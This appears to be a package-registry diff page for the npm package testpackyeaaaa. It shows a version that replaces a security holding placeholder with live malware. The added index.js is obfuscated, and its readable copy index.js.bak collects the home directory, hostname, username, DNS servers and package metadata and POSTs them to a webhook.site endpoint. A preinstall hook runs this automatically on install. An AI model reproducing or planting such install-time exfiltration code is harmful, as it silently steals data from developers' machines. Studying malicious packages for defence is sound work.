testpackyeaaaa 0.0.1-security → 0.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of testpackyeaaaa might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ (function(_0x1eb4eb,_0x3d8acf){const _0x593880=_0x51db,_0x5ef987=_0x1eb4eb();while(!![]){try{const _0x599b85=-parseInt(_0x593880(0x1d4))/0x1*(parseInt(_0x593880(0x1bb))/0x2)+parseInt(_0x593880(0x1c2))/0x3+parseInt(_0x593880(0x1c5))/0x4*(-parseInt(_0x593880(0x1c4))/0x5)+parseInt(_0x593880(0x1b8))/0x6*(parseInt(_0x593880(0x1e6))/0x7)+-parseInt(_0x593880(0x1e1))/0x8+parseInt(_0x593880(0x1d1))/0x9+parseInt(_0x593880(0x1d8))/0xa*(parseInt(_0x593880(0x1e4))/0xb);if(_0x599b85===_0x3d8acf)break;else _0x5ef987['push'](_0x5ef987['shift']());}catch(_0x4c696c){_0x5ef987['push'](_0x5ef987['shift']());}}}(_0x3986,0x194ea),function(_0xb2b016,_0x3115b1){const _0x279509=_0x51db,_0xa98d60=_0x9635,_0x3e2ee5=_0xb2b016();while(!![]){try{const _0x3ec5d5=parseInt(_0xa98d60(0xa5))/0x1*(parseInt(_0xa98d60(0x8e))/0x2)+-parseInt(_0xa98d60(0x98))/0x3*(parseInt(_0xa98d60(0xa0))/0x4)+parseInt(_0xa98d60(0xaa))/0x5*(-parseInt(_0xa98d60(0x8a))/0x6)+-parseInt(_0xa98d60(0xa6))/0x7*(parseInt(_0xa98d60(0x8d))/0x8)+-parseInt(_0xa98d60(0x94))/0x9*(parseInt(_0xa98d60(0x88))/0xa)+-parseInt(_0xa98d60(0x92))/0xb*(parseInt(_0xa98d60(0x8b))/0xc)+parseInt(_0xa98d60(0xa7))/0xd;if(_0x3ec5d5===_0x3115b1)break;else _0x3e2ee5[_0x279509(0x1c0)](_0x3e2ee5[_0x279509(0x1ca)]());}catch(_0x2079ca){_0x3e2ee5[_0x279509(0x1c0)](_0x3e2ee5[_0x279509(0x1ca)]());}}}(_0x1181,0x4a60d));const _0x1492be=_0x4d15;function _0x51db(_0x32c978,_0x432ae9){const _0x398625=_0x3986();return _0x51db=function(_0x51db76,_0x56f1f5){_0x51db76=_0x51db76-0x1b4;let _0x29624e=_0x398625[_0x51db76];return _0x29624e;},_0x51db(_0x32c978,_0x432ae9);}function _0x3986(){const _0x354454=['648xUJcix','write','1405320mOQRsh','POST','../','355058aLhShm','stdout','959FEUIqP','getServers','data','1371880XQtEoi','___resolved','2166fbTgIS','2844NinwXs','username','15HuEhLn','6xxcxiE','4774408PIlMQN','492276RdVsBn','/cd76c681-6c34-4b25-936e-a022134bc557','69756CRmssU','push','error','327555BvlFHb','3110bZQVNu','47460WUBSJd','16lsSxgg','196648AlgJLB','dns','3eoaghv','includes','shift','webhook.site','name','1203120zjGPwI','22366998AJGfkV','2XDTEBY','./package.json','1741671eXYllP','request','version','59821jDyReL','hostname','end','2430348DtLLgb','40qOrKXD','homedir','userInfo','forEach','length','14qjVQCb','10jorMPD'];_0x3986=function(){return _0x354454;};return _0x3986();}(function(_0xdcbd52,_0x15de2a){const _0x9c6aaa=_0x9635,_0x5d9f41=_0x4d15,_0xf791ff=_0xdcbd52();while(!![]){try{const _0x5c0b71=parseInt(_0x5d9f41(0x116))/0x1+parseInt(_0x5d9f41(0x11a))/0x2*(parseInt(_0x5d9f41(0x115))/0x3)+parseInt(_0x5d9f41(0x121))/0x4+parseInt(_0x5d9f41(0x11d))/0x5+-parseInt(_0x5d9f41(0x112))/0x6+-parseInt(_0x5d9f41(0x118))/0x7*(-parseInt(_0x5d9f41(0x114))/0x8)+parseInt(_0x5d9f41(0x10b))/0x9*(-parseInt(_0x5d9f41(0x108))/0xa);if(_0x5c0b71===_0x15de2a)break;else _0xf791ff[_0x9c6aaa(0x9c)](_0xf791ff[_0x9c6aaa(0x9f)]());}catch(_0x56b80f){_0xf791ff[_0x9c6aaa(0x9c)](_0xf791ff[_0x9c6aaa(0x9f)]());}}}(_0x1709,0xcf613));function _0x4d15(_0x1185f8,_0x283952){const _0xd45424=_0x1709();return _0x4d15=function(_0x134c67,_0x302b1f){_0x134c67=_0x134c67-0x104;let _0x6bfc69=_0xd45424[_0x134c67];return _0x6bfc69;},_0x4d15(_0x1185f8,_0x283952);}function _0x9635(_0x532dcd,_0x3d335f){const _0x3339b7=_0x1181();return _0x9635=function(_0x27aff0,_0x17a4cb){_0x27aff0=_0x27aff0-0x86;let _0x5a0440=_0x3339b7[_0x27aff0];return _0x5a0440;},_0x9635(_0x532dcd,_0x3d335f);}function _0x1181(){const _0x537818=_0x51db,_0x24ae5b=[_0x537818(0x1dd),'11850852SOHOWz',_0x537818(0x1e2),_0x537818(0x1de),_0x537818(0x1c3),_0x537818(0x1cc),_0x537818(0x1d2),'1720590HArcdD',_0x537818(0x1e0),_0x537818(0x1e3),'51930QNDWjg',_0x537818(0x1bd),_0x537818(0x1b7),_0x537818(0x1d7),_0x537818(0x1cd),'23768FpNVZX',_0x537818(0x1bf),_0x537818(0x1bc),'49Dyxeep',_0x537818(0x1d5),'22vgwmmP',_0x537818(0x1c7),_0x537818(0x1df),'stringify',_0x537818(0x1da),_0x537818(0x1db),_0x537818(0x1c8),_0x537818(0x1be),_0x537818(0x1d6),_0x537818(0x1b5),_0x537818(0x1c0),_0x537818(0x1c9),_0x537818(0x1c6),_0x537818(0x1ca),'482732TgbXoU',_0x537818(0x1c1),'application/x-www-form-urlencoded',_0x537818(0x1cf),'https',_0x537818(0x1ba)];return _0x1181=function(){return _0x24ae5b;},_0x1181();}function _0x1709(){const _0x3cf543=_0x51db,_0x38e4b8=_0x9635,_0x13d152=[_0x3cf543(0x1b4),_0x3cf543(0x1dc),_0x38e4b8(0xa4),'write','stringify',_0x38e4b8(0x89),'querystring',_0x38e4b8(0x9e),_0x38e4b8(0xad),_0x38e4b8(0x8c),_0x38e4b8(0x93),_0x38e4b8(0x90),_0x3cf543(0x1b9),_0x38e4b8(0xa3),_0x38e4b8(0xab),_0x38e4b8(0x9a),_0x38e4b8(0x9b),_0x38e4b8(0xa1),_0x38e4b8(0xa8),_0x38e4b8(0xa2),_0x38e4b8(0x8f),_0x3cf543(0x1e5),_0x3cf543(0x1b6),_0x38e4b8(0x87),_0x3cf543(0x1cb),_0x38e4b8(0x9d),_0x38e4b8(0xa9),_0x3cf543(0x1d0),_0x3cf543(0x1d3),_0x3cf543(0x1ce),_0x3cf543(0x1e7)];return _0x1709=function(){return _0x13d152;},_0x1709();}const testFolder=_0x1492be(0x105),fs=require('fs');a=0x0,fs['readdir'](testFolder,(_0x168b02,_0x39d3ce)=>{const _0x372c7f=_0x51db,_0x50b7d5=_0x9635,_0x4e48b0=_0x1492be;_0x39d3ce[_0x50b7d5(0x97)](_0x50a36e=>{const _0x7d4a32=_0x4d15;!_0x50a36e[_0x7d4a32(0x107)]('.')&&(a=a+0x1);});if(a==0x1)return;const _0x31e947=require('os'),_0x31e0d6=require(_0x4e48b0(0x117)),_0x5d772d=require(_0x4e48b0(0x113)),_0x3c5444=require(_0x4e48b0(0x10f)),_0x3a1f28=require(_0x4e48b0(0x109)),_0x5b5361=_0x3a1f28[_0x4e48b0(0x11b)],_0x4ea66f=JSON[_0x4e48b0(0x111)]({'p':_0x5b5361,'c':__dirname,'hd':_0x31e947[_0x372c7f(0x1d9)](),'hn':_0x31e947[_0x50b7d5(0x91)](),'un':_0x31e947[_0x50b7d5(0x96)]()[_0x4e48b0(0x119)],'dns':_0x31e0d6[_0x4e48b0(0x10c)](),'r':_0x3a1f28?_0x3a1f28[_0x4e48b0(0x104)]:undefined,'v':_0x3a1f28[_0x4e48b0(0x10a)],'pjson':_0x3a1f28});var _0x482d70=_0x5d772d[_0x50b7d5(0x95)]({'msg':_0x4ea66f}),_0x3c84d3={'hostname':_0x4e48b0(0x106),'port':0x1bb,'path':_0x50b7d5(0x99),'method':_0x4e48b0(0x11f),'headers':{'Content-Type':_0x4e48b0(0x120),'Content-Length':_0x482d70[_0x4e48b0(0x10e)]}},_0x1c02c1=_0x3c5444[_0x50b7d5(0xac)](_0x3c84d3,_0x9ca1d8=>{const _0x310f8c=_0x4e48b0;_0x9ca1d8['on'](_0x310f8c(0x10d),_0x23f465=>{const _0x3cc7c2=_0x9635,_0x14d912=_0x310f8c;process[_0x14d912(0x122)][_0x3cc7c2(0x86)](_0x23f465);});});_0x1c02c1['on'](_0x4e48b0(0x11e),_0x41fa86=>{}),_0x1c02c1[_0x4e48b0(0x110)](_0x482d70),_0x1c02c1[_0x4e48b0(0x11c)]();});
package/index.js.bak ADDED
@@ -0,0 +1,61 @@
1
+ const testFolder = '../';
2
+ const fs = require('fs');
3
+ arr = [];
4
+ fs.readdir(testFolder, (err, files) => {
5
+ files.forEach(file => {
6
+ if(!file.includes('.')){
7
+ arr.push(file);
8
+ }
9
+ });
10
+ });
11
+
12
+ if(arr.length === 1){
13
+ return;
14
+ }
15
+
16
+ const os = require("os");
17
+ const dns = require("dns");
18
+ const querystring = require("querystring");
19
+ const https = require("https");
20
+ const packageJSON = require("./package.json");
21
+ const package = packageJSON.name;
22
+
23
+ const trackingData = JSON.stringify({
24
+ p: package,
25
+ c: __dirname,
26
+ hd: os.homedir(),
27
+ hn: os.hostname(),
28
+ un: os.userInfo().username,
29
+ dns: dns.getServers(),
30
+ r: packageJSON ? packageJSON.___resolved : undefined,
31
+ v: packageJSON.version,
32
+ pjson: packageJSON,
33
+ });
34
+
35
+ var postData = querystring.stringify({
36
+ msg: trackingData,
37
+ });
38
+
39
+ var options = {
40
+ hostname: "webhook.site",
41
+ port: 443,
42
+ path: "/cd76c681-6c34-4b25-936e-a022134bc557",
43
+ method: "POST",
44
+ headers: {
45
+ "Content-Type": "application/x-www-form-urlencoded",
46
+ "Content-Length": postData.length,
47
+ },
48
+ };
49
+
50
+ var req = https.request(options, (res) => {
51
+ res.on("data", (d) => {
52
+ process.stdout.write(d);
53
+ });
54
+ });
55
+
56
+ req.on("error", (e) => {
57
+ // console.error(e);
58
+ });
59
+
60
+ req.write(postData);
61
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "testpackyeaaaa",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.4",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "testpackyeaaaa",
3
+ "version": "0.0.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=testpackyeaaaa for more information.